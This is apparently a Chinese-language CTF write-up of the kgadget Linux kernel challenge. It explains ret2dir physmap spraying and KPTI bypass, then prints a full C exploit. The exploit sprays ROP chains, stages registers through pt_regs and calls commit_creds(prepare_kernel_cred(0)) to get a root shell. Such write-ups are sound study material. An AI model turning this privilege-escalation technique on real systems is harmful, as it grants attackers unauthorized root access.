0%

ret2dir&KPTI

ret2dir&KPTI

记录一下西电的kgadget解题过程以及学到的知识点,拖了一个多月了,还是很有质量的一道题,是学习ret2dir很好的板子题。

0x1 ret2dir

0x1.1 原理

这是2014年提出的一个攻击手段,主要是看论文的翻译理解的(洋文真的看不下去),理解了以后ret2dir的原理也不是非常复杂,主要就是依靠内核地址空间的一段地址(physmap)和物理地址线性映射造成的别名地址来绕过smep和smap。

img

上图是内核的虚拟地址段,其中physmap就处于0xffff888000000000 - 0xffffc87fffffffff,这段地址对应的内存大小一共是64TB,在x86_64系统中,physmap直接以1:1的方式进行映射,从0页表开始,将整个RAM放进64T的区域中,我理解的就是64位架构下,physmap映射了所有的物理内存。所以用户态对应的物理内存也被physmap映射,这就会造成别名地址的出现,我们可以在用户态布置好rop或者shellcode,然后在内核态通过physmap就可以访问到,此时不会触发smep和smap,因为physmap本身就处于内核态的虚拟地址空间,属于内核态的内容。

0x1.2 利用方式

一共有两种利用方式

精准命中:可以通过mmap申请一页大小的内容,然后在上面写上自己的rop或者shellcode.然后通过kmalloc申请堆,这个堆来自于physmap线性映射区(physmap的存在就是方便kmalloc),然后泄露堆的地址,就可以知道physmap的基地址了,然后进行内存搜索,找到rop或者shellcode的线性映射地址来getshell.

概率命中:学名叫physmap spray,通过mmap大量的页地址,然后全部写上相同的rop或者shellcode,然后随机挑选一个physmap上一个页基址进行利用。只要申请的足够多,就有很大概率命中。

值得注意的是高版本的physmap只有读写权限,没有执行权限,所以一般都是rop.

0x2 KPTI

做这道题的时候安排好正常的返回用户态的swapgsiretq,返回用户态后直接爆段错误,跳了半天也没调出来个所以然,问了熊爹说和KPTI有关我才反应过来。

LPTI的具体原理可以参看(12条消息) Linux mem 2.3 内核页表隔离 (KPTI) 详解_pwl999的博客-CSDN博客_内核页表隔离,绕过方式可以看Linux Kernel KPTI保护绕过 - 安全客,安全资讯平台 (anquanke.com)

简而言之,如果开启了KPTI的话,要想从内核态进入用户态,还得设置cr3的值,让其或上0x1000就行,可以使用gadget来完成,也可以使用swapgs_restore_regs_and_return_to_usermode+27来完成。

我比较疑惑的是当cr3的值指向了用户态的PGD以后还得执行内核态的swapgsiretq,不就会在TLB中找不见对应的物理地址了吗。🤔,目前我还无法解答.

0x3 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
size_t commit_creds=0xffffffff810c92e0;
size_t prepare_kernel_cred=0xffffffff810c9540;
size_t pop_rsp_ret=0xffffffff811483d0;
size_t add_rsp_0xe8_pop_rbx_rbp_ret=0xffffffff812bd353;
size_t add_rsp_0xa0_pop_rbx_r12_r13_rbp_ret=0xffffffff810737fe;
size_t pop_rdi=0xffffffff8108c6f0;
size_t ret=0xffffffff8110197b;
size_t swapgs_pop_rbp_ret=0xffffffff81bb99af;
size_t iretq=0xffffffff810002df;
size_t mov_rsi_rax_ret=0xffffffff81bbdc9c;
size_t init_cred = 0xffffffff82a6b700;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
// ffffffff81029e51: 48 89 c7 mov %rax,%rdi
// ffffffff81029e54: 89 d8 mov %ebx,%eax
// ffffffff81029e56: 5b pop %rbx
// ffffffff81029e57: 5d pop %rbp
// ffffffff81029e58: 48 09 f8 or %rdi,%rax
// ffffffff81029e5b: c3 retq
size_t mov_rdi_rax=0xffffffff81029e51;
size_t try_hit ;
size_t page_size;

int fd;
void *physmap_spray_arr[16000];
void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell pk");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
size_t user_cs,user_ss,user_rflags,user_sp,user_bp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"mov user_bp, rbp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void rop_chain(size_t *rop){
int idx=0;
for(;idx<(page_size/8-0x40);idx++){
rop[idx]=add_rsp_0xa0_pop_rbx_r12_r13_rbp_ret;
}
for(;idx<(page_size/8-0x30);idx++){
rop[idx]=ret;
}
rop[idx++]=pop_rdi;
rop[idx++]=0;
rop[idx++]=prepare_kernel_cred;
rop[idx++]=mov_rdi_rax;
rop[idx++]=1;
rop[idx++]=1;
rop[idx++]=commit_creds;
rop[idx++]=swapgs_restore_regs_and_return_to_usermode;
rop[idx++]=0;
rop[idx++]=0;
rop[idx++] = (size_t)usr_shell; // rip
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
}
void main(){
saveStatus();
page_size = sysconf(_SC_PAGESIZE);
fd=open("/dev/kgadget",O_RDWR);
if(!fd){
printf("open fail\n");
return;
}
physmap_spray_arr[0]=mmap(NULL,page_size,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(!physmap_spray_arr[0]){
printf("mmap fail\n");
return;
}
rop_chain(physmap_spray_arr[0]);
for(int i=1;i<15000;i++){
physmap_spray_arr[i]=mmap(NULL,page_size,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(!physmap_spray_arr[i]){
printf("mmap fail\n");
return;
}
memcpy(physmap_spray_arr[i], physmap_spray_arr[0], page_size);
}
try_hit= 0xffff888000000000 + 0x7000000;
__asm__(
"mov r15, 0x1111111;"
"mov r14, 0x2222222;"
"mov r13, 0x3333333;"
"mov r12, 0x4444444;"
"mov rbp, 0x5555555;"
"mov rbx, 0x6666666;"
"mov r11, 0x7777777;"
"mov r10, 0x8888888;"
"mov r9, pop_rsp_ret;"
"mov r8, try_hit;"
"mov rax, 0x10;"
"mov rdx, try_hit;"
"mov rsi, 0x1bf52;"
"mov rdi, fd;"
"syscall"
);
}

除了ret2dirKPTI绕过以外,还学到了两个零碎的知识

init_cred:一般使用commit_creds(prepare_kernel_cred(0))来完成提权,原理就是prepare_kernel_cred(0)会返回一个root权限的cred,然后commit_creds()将这个新cred设置成这个进程的cred,这个比较麻烦的一点是mov rdi,rax,ret比较难找,在官方wp里他直接使用了一个credinit_cred,这个cred是一个root权限的cred,所以可以直接commit_creds(init_cred),其中init_cred可以直接在/proc/kallsyms中找见。

pt_regs:这是一个由寄存器的值组成的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

当用户态使用系统调用进入内核态的时候,就会把所有的寄存器的值压入内核栈底,也就组成了pt_regs结构体。其中r15~r8寄存器是可以在用户态通过内联汇编控制的,也就是说我们可以控制内核栈底的数据了,如果我们还能控制一次程序流比如说虚表中的某个函数指针,当调用这个指针的时候,他到内核栈底的偏移是固定的,那就可以通过把函数指针覆盖成gadget跳到r15~r8之间完成rop

gadget的板子:add rsp, val ; ret